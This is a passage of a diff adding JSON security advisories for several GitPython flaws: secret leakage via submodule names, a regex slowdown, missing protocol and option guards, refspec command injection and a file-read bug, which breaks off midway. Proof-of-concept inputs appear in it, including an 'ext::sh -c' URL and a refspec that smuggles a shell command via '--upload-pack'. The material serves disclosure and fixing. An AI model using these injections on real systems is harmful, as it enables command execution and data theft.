\"Disable this for values obtained from an untrusted source, such as remote URLs.\" Its non-Cygwin branch does plain `os.path.expandvars()` on the entire string, including embedded variables anywhere in an absolute path.\n\n`separate_git_dir` reaches `_clone()` from `Submodule._clone_repo()` (`git/objects/submodule/base.py`) as `module_abspath = osp.join(parent_repo.git_dir, \"modules\", name)`, where `name` is the raw `.gitmodules` submodule section name — fully attacker-controlled content of a cloned repository. `_validated_name()` (added by the fix for `GHSA-hmq2-w58f-27jc`) only rejects names that are absolute, contain a drive letter, or contain `..` path components; it does not reject `$`. `_need_gitfile_submodules()` is true for git ≥ 1.7.5, i.e. the default path for virtually every real-world installation.\n\n### Reproduction (live, against real, unmodified GitPython code, no monkeypatching)\nBuilt a hostile repository with a plain, ordinary git command: `git submodule add --name '$GPY_SECRET_MARKER' ../evil_submodule sub`. Set an environment variable in the \"victim\" process (standing in for a real CI secret such as `AWS_SECRET_ACCESS_KEY`): `GPY_SECRET_MARKER=AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345`. Then ran the exact ordinary workflow the `GHSA-hmq2-w58f-27jc` advisory's own PoC also uses:\n\n```python\nrepo = Repo.clone_from(evil_parent_url, victim_clone_dir)\nrepo.submodule_update(init=True, recursive=True)\n```\n\nObserved result (`ls .git/modules/`):\n\n```\n.git/modules/AKIA_TOTALLY_FAKE_BUT_SECRET_LOOKING_VALUE_12345/ (a full git repo: HEAD, config, objects/, refs/, hooks/)\n```\n\nThe literal `$GPY_SECRET_MARKER`-named directory was never created — only the expanded one exists, proving expansion happened before the value reached the `git clone --separate-git-dir=...` subprocess argument. The persistent, expanded-name directory under `.git/modules/` is itself the primary disclosure channel — it survives on disk for as long as the clone does. A second, independent channel: with the `git.cmd`/`git.repo.base` loggers at DEBUG level (a common CI/verbose-logging setting, not requiring any special flag), GitPython's own `Popen(...)` debug log line prints the fully expanded `--separate-git-dir=` subprocess argument verbatim — `remove_password_if_present()` only redacts URL passwords/Authorization headers, not path-style arguments like this one, so the expanded value is not scrubbed. (The call also fails downstream with an `OSError`/`FileNotFoundError` referencing the original, unexpanded name, since `_write_git_file_and_module_config()` looks for a directory using the pre-expansion name — but that error message itself does not contain the expanded/secret value.)\n\n**Control**: the same call with an ordinary (no `$`) submodule name succeeds normally and creates `.git/modules/` as expected — isolating the gap to submodule names containing environment-variable syntax specifically.\n\n### Already-known check\nChecked all 35 published `gitpython-developers/GitPython` security advisories in full text. `GHSA-hmq2-w58f-27jc` covers the same `name` → `.git/modules/` path but for path-traversal (`../../..`), not variable expansion. `GHSA-59cr-6r3x-644w` covers the sibling `path` field reaching unguarded `os.makedirs()`. `GHSA-94p4-4cq8-9g67`/`GHSA-rwj8-pgh3-r573` cover `expand_vars`, but only on URL arguments. `git log -p -S \"separate_git_dir\" -- git/repo/base.py` shows neither fix commit touches this line; it is unchanged since its 2016 introduction (commit `57d05379`).\n\nThe closest topical match is `GHSA-8mcc-hrx5-hvxc` (\"`clone_from()`/`clone()` omit `--separate-git-dir` from `unsafe_git_clone_options`\") — already fixed, and its own text discusses this same `_clone()` handling of `separate_git_dir`. That fix only added `--separate-git-dir` to the `unsafe_git_clone_options` denylist, which gates the direct-kwarg vector; `Submodule._clone_repo()` explicitly sets `allow_unsafe_options=True` for the gitfile-submodules path, unconditionally bypassing that exact denylist (confirmed: the reproduction above succeeds against current `main`, which already has that fix). The bug this report describes is independent of that denylist — the *value* itself is expanded via `os.path.expandvars()` regardless of the denylist outcome — so the two are distinct, but flagging the relationship explicitly since a reviewer would otherwise reasonably ask about it.\n\nNo advisory describes environment-variable expansion via the internal `separate_git_dir` path.\n\n### Suggested fix\nAdd `expand_vars=False` to the `Git.polish_url(sep_dir)` call in `_clone()`, matching the four other call sites already fixed for the same class of issue.\n\n### Verification level\nReproduced in a real environment: plain Linux, unmodified GitPython from current `main`, real git ≥ 1.7.5 behavior, an ordinary `git submodule add` + `clone` + `submodule_update(init=True, recursive=True)` workflow with no non-default configuration or monkeypatching required. Causation isolated via a control group (identical workflow, ordinary submodule name, no expansion).\n\n### AI Use Disclosure\nAI (Claude) was used as a tool under my direction for code review, code summarization, and script development. A human reviewed and verified the AI-generated results before submission.\n\nCredit: please use \"baeseungwon1010\" (github.com/baeseungwon1010).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fx3j-rwgx-fr94" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2255" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/9349ff58ee00c9fb14d515c8e693f33b2144b238" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-110856.json b/advisories/BREW-mistral-vibe-CVE-2026-110856.json new file mode 100644 index 00000000000..1874591b7ee --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-110856.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-110856", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-m64x-33q8-m5h7", + "CVE-2026-110856" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython parse_actor_and_date() is vulnerable to quadratic backtracking on malformed identity lines", + "details": "### Summary\n\nThis is a residual of GHSA-g5vv-9gxw-82hx / CVE-2026-87819. The 3.1.60 fix made `Actor._from_string` regex-free, but `parse_actor_and_date` still runs `_re_actor_epoch` on the same author/committer/tagger line one step earlier. That pattern backtracks quadratically when the trailing epoch or timezone is missing or malformed, so the same class of slow parse is still reachable in 3.1.62.\n\n### Details\n\n`git/objects/util.py:322`:\n\n```python\n_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n```\n\n`.+?` and `(.*)` can both absorb the same run of spaces, and the required ` (\\d+) ([+-]\\d+)` tail is only checked after them. On a long line with no valid tail, the search retries every split point.\n\nIt is called from `parse_actor_and_date` (`git/objects/util.py:335`), which runs on the author and committer lines in `Commit._deserialize` (`git/objects/commit.py:917`, `:931`) and on the tagger line in `git/objects/tag.py:129`.\n\nThe published payload (letters plus an unterminated `<`) is fast on 3.1.62. Replacing the letters with spaces is not:\n\n| author line (after `author `) | 2 KB | 8 KB | 32 KB |\n|---|---|---|---|\n| `'a'*n + ' <'` (advisory payload) | 0.0 ms | 0.1 ms | 0.4 ms |\n| `' '*n` | 28 ms | 453 ms | 7,700 ms |\n| valid line, long name (control) | 0.0 ms | 0.0 ms | 0.0 ms |\n\nCost grows about 16x for each 4x increase in length.\n\n### PoC\n\n```python\nimport time\nfrom git.objects.util import parse_actor_and_date\n\nline = \"author \" + \" \" * 32000\nt = time.perf_counter()\nparse_actor_and_date(line)\nprint(f\"{time.perf_counter() - t:.1f} s\") # ~7 s on 3.1.62\n```\n\nEnd to end, reading `Commit.author` on a commit object whose author line is 32 KB of spaces followed by any malformed tail (no epoch, no timezone, non-numeric epoch, or bad timezone) takes about 7.2 s per access. The same line with a valid `1191999972 -0700` tail takes 1.3 ms.\n\nNote for reproducing: `git hash-object -t commit -w` refuses such an object (`missingEmail`), so the test object was written with `--literally`. A remote can still serve one, because `fetch.fsckObjects` and `transfer.fsckObjects` default to false. This is the same delivery model as CVE-2026-87819 (\"craft a commit object with a malformed author field\").\n\n### Impact\n\nCPU exhaustion (CWE-1333) in any application that uses GitPython to read commits or tags from an untrusted repository: CI tooling, repository scanners, code-hosting integrations. Each access to `Commit.author`, `Commit.committer` or `TagObject.tagger` on a crafted object costs seconds, and a repository can contain many such objects.\n\n### Suggested fix\n\nMatch the leading field name with `.[^ ]*` instead of `.+?`. Both stop at the first space after the first character, but `.[^ ]*` cannot overlap the following `(.*)`, so the backtracking disappears:\n\n```python\n_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n```\n\nVerification on current main (73a72c9):\n\n- Differential over 368 actor lines (real-world shapes plus edge cases): 0 differences in match groups for either regex.\n- `' '*n` at 64 KB: 32,170 ms before, 0.98 ms after. Valid lines are unchanged (0.01 ms).\n- The existing test suite gives the same pass/fail set with and without the change\n- The new regression test, `test_parse_actor_and_date_malformed_line_is_linear`, fails on the old pattern (8.4 s) and passes with the fix (0.5 s).\n\nThe full patch (fix plus regression test) is attached below.\n\n```diff\ndiff --git a/git/objects/util.py b/git/objects/util.py\nindex a68d701f..d8c0594d 100644\n--- a/git/objects/util.py\n+++ b/git/objects/util.py\n@@ -319,8 +319,11 @@ def parse_date(string_date: Union[str, datetime]) -> Tuple[int, int]:\n \n \n # Precompiled regexes\n-_re_actor_epoch = re.compile(r\"^.+? (.*) (\\d+) ([+-]\\d+).*$\")\n-_re_only_actor = re.compile(r\"^.+? (.*)$\")\n+# The leading field name (\"author\", \"committer\", \"tagger\") is matched with ``.[^ ]*`` rather than\n+# ``.+?``: both stop at the first space after the first character, but ``.[^ ]*`` cannot overlap the\n+# following ``(.*)``, so a line with no valid trailing epoch/offset no longer backtracks quadratically.\n+_re_actor_epoch = re.compile(r\"^.[^ ]* (.*) (\\d+) ([+-]\\d+).*$\")\n+_re_only_actor = re.compile(r\"^.[^ ]* (.*)$\")\n \n \n def parse_actor_and_date(line: str) -> Tuple[Actor, int, int]:\ndiff --git a/test/test_util.py b/test/test_util.py\nindex cf4299d5..e1631420 100644\n--- a/test/test_util.py\n+++ b/test/test_util.py\n@@ -22,6 +22,7 @@ from git.cmd import dashify\n from git.objects.util import (\n altz_to_utctz_str,\n from_timestamp,\n+ parse_actor_and_date,\n parse_date,\n tzoffset,\n utctz_to_altz,\n@@ -571,6 +572,30 @@ class TestUtils(TestBase):\n Actor(\"name last another\", \"some-very-long-email@example.com\"),\n )\n \n+ def test_parse_actor_and_date_malformed_line_is_linear(self):\n+ # A long author line whose trailing epoch/offset is missing or malformed used to make\n+ # _re_actor_epoch backtrack quadratically: ~7 s per Commit.author access for a 32 KB line.\n+ # The parse result must be unchanged; only the time spent reaching it should move.\n+ for tail in (\"\", \" notanumber -0700\", \" 1191999972\", \" -0700\", \" 1191999972 xx\"):\n+ line = \"author \" + \" \" * 32000 + tail\n+ start = time.perf_counter()\n+ actor, epoch, offset = parse_actor_and_date(line)\n+ self.assertLess(time.perf_counter() - start, 1.0)\n+ self.assertEqual(epoch, 0)\n+ self.assertEqual(offset, 0)\n+\n+ # Well-formed lines, including one with a long name, still parse exactly as before.\n+ actor, epoch, offset = parse_actor_and_date(\n+ \"author Tom Preston-Werner 1191999972 -0700\"\n+ )\n+ self.assertEqual(actor, Actor(\"Tom Preston-Werner\", \"tom@mojombo.com\"))\n+ self.assertEqual(epoch, 1191999972)\n+ self.assertEqual(offset, 25200)\n+\n+ actor, epoch, offset = parse_actor_and_date(\"author \" + \"a \" * 16000 + \" 1 -0700\")\n+ self.assertEqual(actor.email, \"a@b\")\n+ self.assertEqual(epoch, 1)\n+\n @ddt.data(\n (\"name\", \"\"),\n (\"name\", \"prefix_\"),\n```\n\nFound with AI assistance (Claude) and verified by hand.\n\nBrian Willows", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-m64x-33q8-m5h7" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2253" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/8290c98d35465a38090cdcc1b17be69967092a15" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-110857.json b/advisories/BREW-mistral-vibe-CVE-2026-110857.json new file mode 100644 index 00000000000..4caa1b5336b --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-110857.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-110857", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-w8jc-g24h-crhw", + "CVE-2026-110857" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython command wrappers omit unsafe protocol and option checks", + "details": "### Summary\n\nGitPython has spent 2022-2026 rolling out two reusable guards method-by-method: `Git.check_unsafe_protocols(url)` (raises `UnsafeProtocolError` for `::` remote-helper URLs - CVE-2022-24439) and `Git.check_unsafe_options(...)` (raises `UnsafeOptionError` for denylisted option spellings - CVE-2023-40267, CVE-2026-42215, CVE-2026-67323). Three wrapper methods that build a `git` argv from caller-controlled values still have **neither**:\n\n1. **`Git.ls_remote`** (git/cmd.py:1128-1143) - checks options (:1139-1141) but forwards the URL positional unchecked; no `allow_unsafe_protocols` parameter exists. The same URL through `clone_from` raises `UnsafeProtocolError`.\n2. **`Repo.merge_base`** (git/repo/base.py:895-936) - forwards `**kwargs`/`*rev` to `self.git.merge_base` with no guard; guarded sibling `iter_commits` sits 12 lines up. Its exception handler additionally swallows every non-128 `GitCommandError` into `[]`, masking the injection.\n3. **`IndexFile.move`** (git/index/base.py:1092-1168) - forwards `**kwargs` to `git mv` twice (:1147, :1167); guarded sibling `remove()` is 23 lines above.\n\nVerified unfixed on `main @ a54d159` (2026-09-21), post-dating latest release 3.1.62 (2026-09-07) - all three sites re-verified today.\n\n### Impact\n\n**Site 1 (`ls_remote`)** - RCE conditional on the victim git transport policy. The common 'probe first, then clone' pattern (`Git(...).ls_remote(attacker_url)`) with an `ext::sh -c ...` URL executes arbitrary commands when the victim git permits the ext transport: dynamically verified with `protocol.ext.allow=always` (marker executed). git >= 2.38.1 stock config refuses the transport (`fatal: transport 'ext' not allowed`, rc 128) - GitPython adds no defense-in-depth and surfaces a bare `GitCommandError`. Environments on git < 2.38.1 are exposed with stock config - the exact population CVE-2022-24439 was scored against.\n\n**Sites 2/3** - latent argument-injection surface: caller kwargs flow 1:1 into the `git` argv before operands and `--` (cmd.py:1850 `opt_args + ext_args`), and `execute_kwargs` (incl. `shell=True`/`env` - the CVE-2023-40267 Windows mechanism) passes through unguarded. Today `git merge-base`/`git mv` expose no exec option, so we claim the missing-guard class (vendor-settled by CVE-2026-67323, which bundled archive/ls_remote/iter_commits/blame in one advisory), not direct RCE.\n\n### Dynamic verification (today; GitPython main @ a54d159, git 2.55.0, Linux)\n\n| # | Call | Result |\n|---|---|---|\n| T1 | `repo.git.ls_remote('ext::/tmp/gp_touch.sh')`, stock config | git refuses (rc 128); **no `UnsafeProtocolError` from GitPython** |\n| T1b | same + victim config `protocol.ext.allow=always` | **marker created - arbitrary command executed** |\n| T2 | `repo.git.ls_remote('.', upload_pack=...)` | blocked by cmd.py:1141 (options-side fixed - protocol-side is the residual gap) |\n| T3 | `repo.merge_base('main','side', upload_pack=...)` | **not blocked**; argv `git merge-base --upload-pack=... main side`; rc 129 silently converted to `[]` |\n| T4 | `repo.index.move(['f1','f2'], output=...)` | **not blocked**; option reaches `git mv` (rc 129) |\n\n### Coverage matrix (main @ a54d159)\n\n`check_unsafe_protocols`: 7 call sites (`_clone`, `archive`, `set_url`, `create`, `fetch`, `pull`, `push`) - none on `ls_remote`.\n`check_unsafe_options`: 24 call sites incl. `ls_remote`, `iter_commits`, `IndexFile.remove` - absent on `merge_base` and `move`.\n\n### Precedents (same repo, same guard family)\n\n- **CVE-2022-24439 / GHSA-hcpj-qp55-gfph** (critical): `check_unsafe_protocols` on the clone path - Site 1 is the same `ext::` primitive on a sibling API.\n- **CVE-2023-40267 / GHSA-pr76-5cm5-w9cj** (critical, 'incomplete fix for CVE-2022-24439'): `check_unsafe_options` - unguarded kwargs to argv treated as RCE (`shell=True` on Windows).\n- **CVE-2026-42215 / GHSA-rpm5-65cw-6hj4** (high, fixed 3.1.47): underscored-spelling bypass - rollout still active in 2026.\n- **CVE-2026-67323 / GHSA-956x-8gvw-wg5v** (high, 8.4, fixed 3.1.51): added `check_unsafe_options` to `archive`/`ls_remote`/`iter_commits`/`blame`; its PoC is literally `repo.git.ls_remote('.', upload_pack=...)`. Establishes that a wrapper missing the check is itself a vulnerability. This report is the residual gap of that rollout: `ls_remote` got options but not protocols; `merge_base`/`move` got neither.\n\n### Recommended fix (existing helpers, 1-3 lines per site)\n\n1. `Git.ls_remote`: `if not allow_unsafe_protocols: self.check_unsafe_protocols(args[0])` + new `allow_unsafe_protocols: bool = False` (the `_clone` pattern, base.py:1536-1538).\n2. `Repo.merge_base`: `check_unsafe_options(Git._option_candidates(list(rev), kwargs), unsafe_options=self.unsafe_git_revision_options)` (the `iter_commits` pattern); stop masking non-128 statuses.\n3. `IndexFile.move`: the `remove()` pattern with `unsafe_git_pathspec_from_file_options`.\n\nOne advisory, three affected methods, severity anchored on Site 1 - mirroring CVE-2026-67323's bundling.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-w8jc-g24h-crhw" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2251" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/9ad28cc4c7176d22cd6181d69805058a719dd03b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-110858.json b/advisories/BREW-mistral-vibe-CVE-2026-110858.json new file mode 100644 index 00000000000..252560af218 --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-110858.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-110858", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-f9j4-qggq-h239", + "CVE-2026-110858" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython Remote.pull() refspec bypasses the --upload-pack unsafe-option guard, enabling arbitrary command execution", + "details": "## Summary\n\n`Remote.pull()` in GitPython forwards its positional `refspec` argument directly to the `git pull` child process while its unsafe-option guard inspects only keyword arguments. An application that passes attacker-influenced data as the `refspec` (for example a user-supplied branch or refspec parameter in a web or CI service) can supply an option-shaped value such as `--upload-pack=`. The value bypasses the `unsafe_git_pull_options` check, is placed after the `--` separator on the `git pull` command line, and is executed as the upload-pack program for local-path or SSH transports. This yields arbitrary command execution with the privileges of the calling process using the documented default arguments (`allow_unsafe_options=False`).\n\n## Root Cause\n\n`Remote.pull()` is documented to reject dangerous options unless `allow_unsafe_options=True`, and `--upload-pack` is explicitly listed as such an option. The guard, however, only screens keyword arguments and never the positional `refspec`. The check builds its candidate list with `Git._option_candidates([], kwargs)`, passing an empty list in place of the positionals, so the `refspec` value is never compared against `unsafe_git_pull_options = [\"--upload-pack\"]`. The normalized `refspec` is then forwarded verbatim to the `git pull` invocation. The leading `--` separator that neutralizes an option-shaped refspec for `git fetch` and `git push` does not protect `git pull`, because `git pull` re-forwards its trailing positionals to an internal `git fetch` without re-inserting a `--` separator, so the positional becomes an option to that internal fetch.\n\n```text\nAffected function: git.remote.Remote.pull\nSource: git/remote.py (guard at the check_unsafe_options call using _option_candidates([], kwargs); sink at the self.repo.git.pull(\"--\", self, refspec, ...) invocation)\n```\n\n## Impact\n\nAn attacker who controls the `refspec` value passed to `Remote.pull()` achieves arbitrary operating-system command execution as the process invoking GitPython, with no additional privileges and no user interaction, on the default code path. Exploitation requires that the pulled remote uses a transport that runs upload-pack on the local side, namely a local filesystem path or SSH; over HTTPS the `--upload-pack` value is inert because the server ignores a client-supplied upload-pack program. This transport requirement narrows the population of vulnerable deployments but does not add work for the attacker once a vulnerable target is reached. Working checkouts commonly use local-path or SSH origins, so the exposed population is substantial.\n\n## Proof of Concept\n\n```text\nEnvironment: GitPython from the affected source tree; system git 2.43.0.\nThe pulled origin uses a local filesystem transport (protocol.file.allow=always for git >= 2.38).\n```\n\nReproduction steps:\n\n1. Create an origin repository reachable over a local-path transport.\n2. In a consumer repository, register that origin and call `Remote.pull()` with an attacker-controlled refspec.\n3. Observe that the injected command executes.\n\n```python\nimport git\nrepo = git.Repo(\"consumer\") # has an origin using a local-path or ssh transport\norigin = repo.remote(\"origin\")\n# Attacker-controlled refspec value; default arguments (allow_unsafe_options=False):\norigin.pull(refspec=\"--upload-pack=touch /tmp/pwned; git-upload-pack\")\n```\n\n```text\ncmdline: git pull -v -- origin --upload-pack=touch /tmp/pwned; git-upload-pack\n[attack] marker created (RCE) : True\n[isolate] upload_pack passed as KWARG blocked : True (only the positional refspec escapes)\n[sibling] same value via git fetch : safe (pull-specific behavior)\n[control] benign refspec : safe\n```\n\n## Attack Chain\n\n1. **Exposure:** An application calls `Remote.pull(refspec=)` on the default path, where `` is derived from attacker-influenced input such as a branch or refspec request parameter.\n2. **Control:** The attacker supplies the string `--upload-pack=; git-upload-pack`. The value passes through `Git._unpack_args`, which only flattens and stringifies it, preserving the option shape.\n3. **Path:** The protocol loop calls `Git.check_unsafe_protocols` on the value, which only matches remote-helper transport URLs (a `::` form) and does not flag an `--upload-pack=` token.\n4. **Guard:** The unsafe-option guard calls `check_unsafe_options(options=Git._option_candidates([], kwargs), ...)`. Because positionals are passed as an empty list, the positional `refspec` is never inspected against `unsafe_git_pull_options`.\n5. **Primitive:** The value is forwarded to `git pull -v -- --upload-pack=; git-upload-pack`; `git pull` re-forwards the positional to an internal `git fetch` without a `--` separator, so it is honored as the upload-pack program.\n6. **Result:** For a local-path or SSH transport, git executes `` as the upload-pack program, giving arbitrary command execution as the calling process user.\n\n## Bypass Evidence\n\nThe relevant guard is `Remote.pull()`'s own `check_unsafe_options` call, present in the current released artifact. It is incomplete: it inspects `Git._option_candidates([], kwargs)`, which only considers keyword arguments, so the positional `refspec` is never checked. This was confirmed empirically: passing the identical value as the `upload_pack=` keyword argument raises `UnsafeOptionError`, while passing it as the positional `refspec` does not, proving that only the positional escapes the guard.\n\nThe `--` separator on the `git pull` command line was tested as a possible mitigation and refuted: with system git 2.43.0, `git pull -- '--upload-pack='` executed the injected command, while the identical value supplied to `git fetch -- ...` and `git push -- ...` did not execute, because those subcommands honor the `--` terminator whereas `git pull` re-forwards positionals to an internal fetch without one. The `check_unsafe_protocols` transport check was also examined and does not flag the `--upload-pack=` token because it has no `::` form. No prior published advisory for this package addresses `Remote.pull`, the fetch or pull refspec positional, or `--upload-pack` injection via a refspec; the closest accepted issue covers the same class (a positional argument escaping a keyword-only guard) in a different function and sink.\n\n## Affected Versions\n\n- `Ecosystem: pip (PyPI)`\n- `Package: GitPython`\n- `Confirmed affected range: >= 3.1.30`\n- `Latest release checked: 3.1.62 (PyPI); source verified against the 3.1.62 release tag`\n- `Fix status: not fixed in any released version or on the development branch`\n\nThe keyword-only pull guard together with the positional `refspec` sink is present in every released tag from 3.1.30 through the latest release 3.1.62, verified by inspecting the shipped `git/remote.py` in each tagged artifact. Version 3.1.30 introduced the `unsafe_git_pull_options` guard; the affected range is stated from that boundary under the incomplete-guard framing. Releases before 3.1.30 forward the `refspec` positionally with no unsafe-option guard and no `--` separator and are also exploitable, but the range is stated conservatively from the guard-introduction boundary. No fixed release exists.\n\n## Suggested Fix\n\nEnforce the unsafe-option invariant on the positional `refspec`, not only on keyword arguments. The guard should build its candidate list from the actual forwarded positionals (for example by passing the normalized refspec list into `Git._option_candidates` alongside `kwargs`) so that an option-shaped `refspec` such as `--upload-pack=...` is rejected with `UnsafeOptionError` unless `allow_unsafe_options=True`. The same correction should be verified for any other reference or refspec forwarding path that relies on the keyword-only guard. As an interim mitigation without a code change, callers should validate or reject refspec values that begin with `-`, avoid passing untrusted data as the `refspec`, and prefer HTTPS remotes where a client-supplied upload-pack program is inert.\n\nReported by zx (GitHub: @manus-pi).", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-f9j4-qggq-h239" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/pull/2247" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/commit/790bb3164948625ffb043d2a162425d55923fe9a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/gitpython-developers/GitPython" + }, + { + "type": "WEB", + "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.2.0" + } + ] +} diff --git a/advisories/BREW-mistral-vibe-CVE-2026-110859.json b/advisories/BREW-mistral-vibe-CVE-2026-110859.json new file mode 100644 index 00000000000..cdfb2865718 --- /dev/null +++ b/advisories/BREW-mistral-vibe-CVE-2026-110859.json @@ -0,0 +1,81 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-mistral-vibe-CVE-2026-110859", + "published": "2026-10-27T19:51:02Z", + "modified": "2026-10-27T19:51:02Z", + "upstream": [ + "GHSA-23mf-xhv8-69c2", + "CVE-2026-110859" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "mistral-vibe", + "purl": "pkg:brew/mistral-vibe" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "2.1.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "3.2.0", + "resource": "gitpython", + "resource_purl": "pkg:pypi/gitpython@3.1.62" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "gitpython", + "subject_version": "3.1.62", + "key": "pkg:pypi/gitpython@3.1.62", + "resource": "gitpython" + } + ] + }, + "summary": "GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679)", + "details": "> **A note on the referenced files.** This report was submitted through GitHub's private\n> vulnerability reporting API, which carries no attachments. Every transcript this report leans\n> on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`,\n> per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local\n> evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy\n> to send the bundle by any channel you prefer, or to open a private fork — just say which. The\n> PoC scripts are self-contained and reproduce the result from a clean environment.\n\n---\n\n**Affected:** `<= 3.1.62` — all published releases; also `main` @ `4905b4af`\n**Verified at runtime:** GitPython `3.1.62` with git `2.55.0`\n**Date:** 2026-09-10\n**Reporter:** MAXI8594\n\n---\n\n## Threat model\n\n| | |\n|---|---|\n| **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. |\n| **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). |\n| **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. |\n| **Real-world likelihood** | **High.** The vulnerable 